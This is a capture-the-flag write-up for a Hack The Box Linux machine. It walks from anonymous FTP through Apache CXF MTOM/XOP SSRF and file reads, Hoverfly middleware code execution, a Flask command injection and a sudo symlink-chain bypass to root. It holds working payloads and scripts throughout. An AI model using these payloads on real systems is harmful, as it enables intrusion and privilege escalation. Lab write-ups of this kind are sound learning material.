Target: 10.129.43.185
Machine: DevArea
Difficulty: Medium
OS: Linux
Result: user and root owned
This box did not start cleanly. The final exploit chain looks tidy in hindsight: anonymous FTP exposed a Java service, Apache CXF MTOM gave SSRF and local file read, Hoverfly middleware gave a shell, and SysWatch fell to a symlink validation mistake. But the actual path was much less linear. There was target selection friction, VPN trouble, dead enumeration, bad assumptions about XXE, a failed plugin write, and a few points where the right move was to stop pushing the obvious idea and ask what the machine was already telling me.
That is the part worth writing down. The exploit primitives mattered, but the solve mostly came from following evidence and not getting too attached to the first plan.
Getting a Machine Running
I decided to take on the DevArea machine for this time. It spawned properly and gave me:
10.129.43.185
The VPN also cost a few minutes. The HTB OpenVPN profile failed on Windows because HTB pushed IPv6 options and the local OpenVPN/TAP setup could not apply them:
NETSH: interface ipv6 set address ...
ERROR: command failed
Exiting due to fatal error
The pushed profile included options like:
tun-ipv6
route-ipv6 dead:beef::/64
ifconfig-ipv6 dead:beef:2::1180/64 dead:beef:2::1
The box itself only needed IPv4 reachability, so I copied the VPN profile and filtered the IPv6 pushes:
pull-filter ignore "tun-ipv6"
pull-filter ignore "ifconfig-ipv6"
pull-filter ignore "route-ipv6"
After that OpenVPN initialized, assigned 10.10.15.130, and added the HTB IPv4 routes. This mattered later because that address became the callback host for the MTOM SSRF test.
First Enumeration
Once the target was reachable, the first TCP sweep showed a box with several moving parts:
21/tcp vsFTPd 3.0.5
22/tcp OpenSSH 9.6p1 Ubuntu
80/tcp Apache 2.4.58
8080/tcp Jetty 9.4.27
8500/tcp Hoverfly proxy
Port 80 redirected to devarea.htb, so the first adjustment was just making sure requests used the expected virtual host:
curl --resolve devarea.htb:80:10.129.43.185 http://devarea.htb/
The site looked like a static company/dev portal. I pulled down the HTML and CSS, looked for API references, comments, hidden endpoints, obvious credentials, and JavaScript that pointed to backend services. Nothing on the static site immediately moved the solve forward.
I also spent some time on the normal web-enumeration muscle memory: wordlists, paths, and trying to see whether the static site was hiding a second app. That direction did not pay off. The useful question was “which of these open services is leaking implementation detail?”
FTP was more interesting. Anonymous login worked, and /pub contained:
employee-service.jar
That immediately changed the priority. A JAR exposed over anonymous FTP is usually not decorative. Before going deep on it, I checked whether FTP upload was allowed, because writable anonymous FTP sometimes turns into a web shell or a job-processing trick. Upload failed with:
550
So FTP was read-only.
Pulling Apart the JAR
The service was small enough to inspect quickly. Extracting the JAR revealed classes under htb/devarea:
htb/devarea/ServerStarter.class
htb/devarea/EmployeeService.class
htb/devarea/EmployeeServiceImpl.class
htb/devarea/Report.class
The Maven metadata was more valuable than the class list. The pom.xml showed Apache CXF and Jetty:
<cxf.version>3.2.14</cxf.version>
...
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<artifactId>cxf-rt-databinding-aegis</artifactId>
<artifactId>cxf-rt-transports-http-jetty</artifactId>
<artifactId>cxf-rt-bindings-soap</artifactId>
That lined up with port 8080. The service was exposing a SOAP endpoint:
http://0.0.0.0:8080/employeeservice
The WSDL was reachable from the target:
curl http://10.129.43.185:8080/employeeservice?wsdl
The exposed operation accepted a Report object with fields like employeeName, department, content, and confidential, and the submitReport method reflected the submitted content back in the response.
At that point the rough hypothesis was: “This is probably XML parser territory.” SOAP plus reflected content plus an older framework version usually means checking XXE, deserialization, attachments, and parser edge cases.
I also searched around the framework/version combination. The useful research thread was not a copy-paste exploit; it was that CXF, SOAP attachments, MTOM, and XOP have their own parsing path. That search is what kept the failed XXE result from prematurely closing the Java-service lead.
The Obvious XML Attacks Failed
The first SOAP call was deliberately boring. I wanted to know whether I could submit a valid report and observe the response before trying to exploit anything. That worked. The service accepted normal SOAP and echoed the report data back.
The first exploit attempt was plain XXE:
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
...
<content>&xxe;</content>
That failed with the XML reader rejecting the DTD:
Error reading XMLStreamReader: Received event DTD
This was useful even though it failed. It told me the parser was not going to accept the cheap XXE route. The next idea was to test XOP directly, because CXF SOAP services often support attachments and MTOM:
<content>
<xop:Include href="http://10.10.15.130:8000/xop-test"/>
</content>
That also failed, but for a different reason. The service expected text inside content, not an arbitrary nested XML element. I had tried to smuggle xop:Include into a normal XML document, but XOP does not work that way. XOP is an optimization format for MIME multipart messages. If the request is not a proper multipart/related MTOM request, the server just sees an unexpected element.
This was the first real pivot in the box. The thing that looked like “XXE failed, move on” was actually “plain XML failed, but the framework and data type still make MTOM worth testing properly.”
MTOM
The successful payload was not a normal XML body. It was a MIME multipart request where the SOAP envelope part declared application/xop+xml and contained an xop:Include reference:
--uuid:1234
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <root.message@cxf.apache.org>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:dev="http://devarea.htb/"
xmlns:xop="http://www.w3.org/2004/08/xop/include">
<soapenv:Body>
<dev:submitReport>
<arg0>
<confidential>false</confidential>
<content>
<xop:Include href="http://10.10.15.130:8000/mtom-url"/>
</content>
<department>IT</department>
<employeeName>alice</employeeName>
</arg0>
</dev:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--uuid:1234--
The matching HTTP header was the important part:
Content-Type: multipart/related;
type="application/xop+xml";
start="<root.message@cxf.apache.org>";
start-info="text/xml";
boundary="uuid:1234"
I started a tiny HTTP server on my VPN address and sent the request. The callback hit:
GET /mtom-url
The SOAP response confirmed the fetch and reflected the fetched body back base64-encoded. A test response body of:
SSRF_OK
came back as:
U1NSRl9PSw==
That was the point where the machine opened up. The vulnerability was not “classic XXE.” It was Apache CXF MTOM/XOP URL-following behavior. With CXF 3.2.14, the parser followed the href, pulled the referenced content, and put it into the Report.content value.
The obvious next question was whether it only fetched HTTP URLs or whether it would also follow file://. It did follow file://.
I wrapped the request in a helper so I could fetch arbitrary URLs and decode the reflected base64 response:
def fetch(url):
body = f'''--uuid:1234\r
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"\r
Content-Transfer-Encoding: 8bit\r
Content-ID: <root.message@cxf.apache.org>\r
\r
<soapenv:Envelope ...>
...
<content><xop:Include href="{url}"/></content>
...
</soapenv:Envelope>\r
--uuid:1234--\r
'''
Then I started reading local files:
file:///etc/passwd
file:///proc/self/environ
file:///etc/systemd/system/employee-service.service
/proc/self/environ identified the service context:
USER=dev_ryan
HOME=/home/dev_ryan
The service unit added an important detail:
User=dev_ryan
InaccessiblePaths=/home/dev_ryan/user.txt
So the file-read primitive ran as dev_ryan, but the obvious shortcut to the user flag was intentionally blocked.
Looking for What the Service User Could See
At this point I tried the usual local file read sweep: shell history, SSH config, application properties, Apache vhost configs, local logs, and systemd units. Some paths were unavailable or not useful. Others were.
What ended up doing it was to stop thinking only about the Java service and look at the other exposed ports from the initial scan. Port 8500 was Hoverfly, and port 8888 was the Hoverfly admin API locally. External access to Hoverfly was protected, and obvious guesses did not work. But systemd files are exactly where service credentials often end up.
Reading the Hoverfly unit through the MTOM file read gave the credential leak:
/opt/HoverFly/hoverfly -add -username admin -password O7IJ27MyyXiU -listen-on-host 0.0.0.0
That turned the earlier “interesting but blocked” Hoverfly port into an actual foothold path. Basic auth worked against the proxy on 8500, and the admin API on 8888 issued a JWT when given the leaked credentials:
curl -H 'Content-Type: application/json' \
-d '{"Username":"admin","Password":"O7IJ27MyyXiU"}' \
http://10.129.43.185:8888/api/token-auth
The important lesson here is that the SSRF/file read did not need to be code execution. It only needed to answer the question “what secret did the administrator leave in a local-only place?”
Hoverfly as a Shell
Hoverfly supports middleware. That means requests passing through the proxy can invoke external middleware logic. In this machine, middleware execution was enabled, and the admin API let me configure it.
I kept the first test small. The goal was not to get a reverse shell immediately; it was to prove execution context and filesystem write access without making debugging harder. The first middleware wrote a marker:
/tmp/hf_mw_test
Once that worked, the shell path was straightforward. I generated an SSH key locally and used middleware execution to create /home/dev_ryan/.ssh/authorized_keys and append my public key. Then SSH gave a stable shell:
ssh -i devarea_key dev_ryan@10.129.43.185
The user flag was readable from the shell:
[redacted]
That was user owned, but it did not feel like the end of the intended chain. The box had already shown guardrails: user.txt was blocked from the Java service using InaccessiblePaths, and the Hoverfly path required finding service credentials rather than guessing them. I expected root to be another “almost safe” local admin tool.
Sudo Looked Useless, Then Useful
The first privilege escalation signal came from sudo -l:
(root) NOPASSWD: /opt/syswatch/syswatch.sh,
!/opt/syswatch/syswatch.sh web-stop,
!/opt/syswatch/syswatch.sh web-restart
My first reaction was that the deny rules were probably important. They blocked web-stop and web-restart, which implied those actions were dangerous. The rules were exact-argument based, so adding an ignored extra argument bypassed them:
sudo /opt/syswatch/syswatch.sh web-restart ignored
sudo /opt/syswatch/syswatch.sh web-stop ignored
That was interesting behaviorally, but it did not give root. It only proved the sudo policy was brittle. The script itself still needed to contain something exploitable.
I then looked at SysWatch as an application rather than only as a sudo command. /etc/syswatch.env exposed:
SYSWATCH_SECRET_KEY=...
SYSWATCH_ADMIN_PASSWORD=SyswatchAdmin2026
The local Flask app listened on:
127.0.0.1:7777
The login worked with the admin password, then I used the leaked Flask secret to forge a session cookie.
The vulnerable route was /service-status. In the extracted source it looked like this:
SAFE_SERVICE = re.compile(r"^[^;/\&.<>\rA-Z]*$")
...
res = subprocess.run(
[f"systemctl status --no-pager {service}"],
shell=True,
capture_output=True,
text=True,
timeout=10,
)
This is a bad combination: a string is interpolated into a shell command, shell=True is enabled, and the input filter tries to deny bad characters rather than define a small safe grammar.
The filter blocked slashes, dots, uppercase letters, and several metacharacters. But it did not block $, (, or ), so command substitution survived:
service=$(id)
Posting that to /service-status executed id as the syswatch user. That gave command execution, but not root. I still needed to connect syswatch execution to the sudo entry for /opt/syswatch/syswatch.sh.
The Failed Plugin Plan
The first root idea was plugins. SysWatch had a plugin directory:
/opt/syswatch/plugins/
and the sudo script could list or execute plugin-related functionality. If syswatch could write a plugin and dev_ryan could make root execute it through the sudo script, that would be a clean privesc.
So I staged a small Python payload through the command injection:
import os
open('/tmp/syswatch_who','w').write(str(os.getuid())+' '+str(os.getgid()))
try:
open('/opt/syswatch/plugins/pwn_test.sh','w').write(
'#!/bin/bash\nid > /tmp/pwn_test_root\n'
)
os.chmod('/opt/syswatch/plugins/pwn_test.sh', 0o755)
open('/tmp/syswatch_write_result','w').write('ok')
except Exception as e:
open('/tmp/syswatch_write_result','w').write(repr(e))
That failed:
PermissionError(13, 'Permission denied')
This was a useful dead end. It proved the command injection was real, but it also proved the direct plugin-write path was not available. The temptation at this point is to keep trying variants of the same idea: different filenames, different plugin paths, different ways to write. But the permissions were the answer. syswatch could not write plugins. The next target had to be something syswatch could write.
The setup script showed the intended ownership split:
chown -R syswatch:syswatch "$OPT_DIR/logs"
chmod 755 "$OPT_DIR" "$OPT_DIR/plugins" "$OPT_DIR/config" "$OPT_DIR/syswatch_gui"
So plugins were not writable, but logs were.
Reading the Sudo Script Like an Attacker
The root path was in the log viewer. The script allowed non-root users to view logs, but under sudo it ran as root. Its symlink handling tried to be safe:
if [ -L "$path" ]; then
target=$(ls -l "$path" | awk '{print $NF}')
if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
echo "[Blocked unsafe symlink target]: $file -> $target"
return 1
fi
if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
resolved="$LOG_DIR/$target"
if [ -f "$resolved" ]; then
cat "$resolved"
return
fi
fi
fi
At first glance, that seems to block the obvious attack. A symlink like:
chain.log -> /root/root.txt
would be rejected because the target contains /.
But the validation only looked at the first symlink target. It allowed a symlink target if it was a safe relative filename. Then it built:
$LOG_DIR/$target
and ran:
cat "$resolved"
It did not check whether $resolved was itself another symlink.
That suggests a two-link chain:
/opt/syswatch/logs/chain.log -> rootlink
/opt/syswatch/logs/rootlink -> /root/root.txt
The first link target is just rootlink, which matches the allowlist. The second link points to /root/root.txt, but the script never validates that second hop before cat follows it as root.
Because the logs directory was writable by syswatch, I used the Flask command injection to create the two symlinks:
import os
base = '/opt/syswatch/logs'
for p in [base + '/rootlink', base + '/chain.log']:
try:
os.unlink(p)
except FileNotFoundError:
pass
os.symlink('/root/root.txt', base + '/rootlink')
os.symlink('rootlink', base + '/chain.log')
open('/tmp/symlink_result','w').write('done')
Then from the dev_ryan shell, I invoked the log viewer through sudo:
sudo /opt/syswatch/syswatch.sh logs chain.log
The script saw:
chain.log -> rootlink
accepted it as a safe relative target, and then cat "$LOG_DIR/rootlink" followed the second symlink to /root/root.txt.
Root flag:
[redacted]
The Final Chain
The finished exploit path was:
OpenSourcewas VIP-only andLoggingstayed stuck spawning, so I switched toDevArea.- OpenVPN failed on Windows because pushed IPv6 settings could not be applied, so I filtered those pushes and kept IPv4.
- TCP enumeration found FTP, SSH, Apache, Jetty, and Hoverfly.
- Anonymous FTP exposed
employee-service.jar; FTP upload failed, so the JAR became the lead. - The JAR showed Apache CXF
3.2.14with a SOAP service on Jetty. - Plain XXE failed because DTDs were rejected.
- Inline
xop:Includefailed because it was not a proper MTOM request. - A valid
multipart/relatedMTOM request made CXF followxop:IncludeURLs. - HTTP callbacks proved SSRF, and
file://turned it into local file read asdev_ryan. - Direct read of
/home/dev_ryan/user.txtwas blocked by systemdInaccessiblePaths. - Reading systemd units exposed Hoverfly credentials.
- Hoverfly middleware execution wrote an SSH public key for
dev_ryan. - SSH as
dev_ryangave the user flag. sudo -lexposed a brittle SysWatch sudo rule.- SysWatch Flask had command injection through
service=$(id). - Writing a plugin as
syswatchfailed withPermissionError. - The writable log directory plus flawed sudo symlink validation allowed a two-link chain to
/root/root.txt.